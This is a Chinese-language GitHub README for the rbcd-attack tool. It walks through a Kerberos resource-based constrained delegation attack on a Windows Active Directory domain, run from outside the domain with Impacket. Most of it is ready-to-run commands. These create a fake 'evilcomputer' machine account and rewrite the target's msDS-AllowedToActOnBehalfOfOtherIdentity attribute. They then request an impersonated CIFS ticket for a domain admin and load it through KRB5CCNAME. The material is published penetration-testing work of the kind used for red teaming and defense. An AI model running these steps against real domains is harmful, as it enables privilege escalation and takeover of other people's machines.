tothi/rbcd-attack
GitHub: tothi/rbcd-attack
基于 Impacket 的 Python 脚本,用于从域外对 Windows AD 执行 Kerberos 基于资源的约束委派攻击。
Stars: 613 | Forks: 72
# 滥用 Kerberos 基于资源的约束委派
## 长话短说
本仓库是关于在 Windows Active Directory 域中对 Kerberos 基于资源的约束委派(Resource-Based Constrained Delegation)进行的实战攻击。
该攻击**仅使用 Python3 [Impacket](https://www.secureauth.com/labs/open-source-tools/impacket)**(及其依赖项)实现。已在 [Arch](https://www.archlinux.org/) 上使用最新的 Impacket(撰写本文时为 0.9.21)进行了测试。

## 攻击概述
简而言之,在不深入细节的情况下,该攻击的目标是一台域计算机,具体来说是与其相关的服务主体(Service Principals)。
我们需要的前置条件如下:
* 一个对目标计算机具有写入权限的域账户(具体是对目标计算机域对象的 `msDS-AllowedToActOnBehalfOfOtherIdentity` 属性具有写入权限)
* 创建新计算机账户的权限(这通常是默认设置,请参阅 `MachineAccountQuota`)
* 对 DC 的 LDAP (389/tcp) 和 SAMR (445/tcp)(或 LDAPS (636/tcp))访问权限
* 对 DC 的 Kerberos (88/tcp) 访问权限
极高层次的攻击路径:
1. 创建一个虚假计算机
2. 滥用目标计算机的 `msDS-AllowedToActOnBehalfOfOtherIdentity` 属性
3. 为目标计算机请求模拟的服务票据(S4U)
收益:
* 如果被模拟的账户拥有特权,模拟的服务票据可能允许对目标上的服务(如 CIFS、HTTP 等)进行高级别访问。有时甚至可以实现计算机接管。
## 常用工具集
此攻击的常用工具集通常在已加入域的 Windows 计算机上运行,使用:
* [Powermad](https://github.com/Kevin-Robertson/Powermad) 用于添加新计算机账户
* [PowerSploit](https://github.com/PowerShellMafia/PowerSploit) dev 分支的 [Powerview](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1) 用于 `滥用 msDS-AllowedToActOnBehalfOfOtherIdentity`
* [Rubeus](https://github.com/GhostPack/Rubeus) 用于 S4U 票据操作
## Impacket 实现
此实现从域外使用纯 [Impacket](https://github.com/SecureAuthCorp/impacket)。
### 创建虚假计算机
使用 Impacket 的 addcomputer.py 示例创建一个虚假计算机(名为 `evilcomputer`):
```
addcomputer.py -computer-name 'evilcomputer$' -computer-pass ev1lP@sS -dc-ip 192.168.33.203 ecorp.local/test:ohW9Lie0
```
### 修改委派权限
实现了本仓库中的 [rbcd.py](./rbcd.py) 脚本,该脚本将新创建的 EVILCOMPUTER 的相关安全描述符添加到目标计算机的 `msDS-AllowedToActOnBehalfOfOtherIdentity` 属性中。
```
./rbcd.py -f EVILCOMPUTER -t WEB -dc-ip 192.168.33.203 ecorp\\test:ohW9Lie0
```
该脚本大量使用了 Impacket 示例 `ntlmrelayx.py` 中的 Python 类。
有关帮助和示例,请在不带选项的情况下调用该脚本。
### 获取模拟服务票据
现在一切就绪,可以通过 S4U2Self 查询滥用约束委派,并获取目标计算机的模拟服务票据。使用 Impacket 示例脚本 `getST.py`:
```
getST.py -spn cifs/WEB.ecorp.local -impersonate admin -dc-ip 192.168.33.203 ecorp.local/EVILCOMPUTER$:ev1lP@sS
```
上述命令代表目标域用户 `admin` 获取 CIFS 服务票据,并将其存储在文件 `admin.ccache` 中。
将文件路径添加到 KRB5CCNAME 变量后,该票据即可供 Kerberos 客户端使用。
```
export KRB5CCNAME=`pwd`/admin.ccache
klist
```
## 参考资料
有关滥用基于资源的约束委派的详细信息:
* https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
* https://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/
* http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/
以及关于 Kerberos 攻击最全面的演示之一:
* [Elad Shamir](https://twitter.com/elad_shamir) 和 [Matt Bush](https://twitter.com/3xocyte) 在 Defcon 上的 [Constructing Kerberos Attacks with Delegation Primitives slides](https://shenaniganslabs.io/media/Constructing%20Kerberos%20Attacks%20with%20Delegation%20Primitives.pdf)
标签:ACL滥用, Active Directory, AD域安全, Checkov, Conpot, CTF学习, HTTP, Impacket, Kerberoasting, MachineAccountQuota, Plaso, Python, RBCD, S4U2Proxy, S4U2Self, Windows安全, 代码生成, 内网渗透, 协议分析, 域委派攻击, 基于资源的约束委派, 委派滥用, 数据展示, 无后门, 权限提升, 横向移动, 渗透测试工具, 红队, 编程规范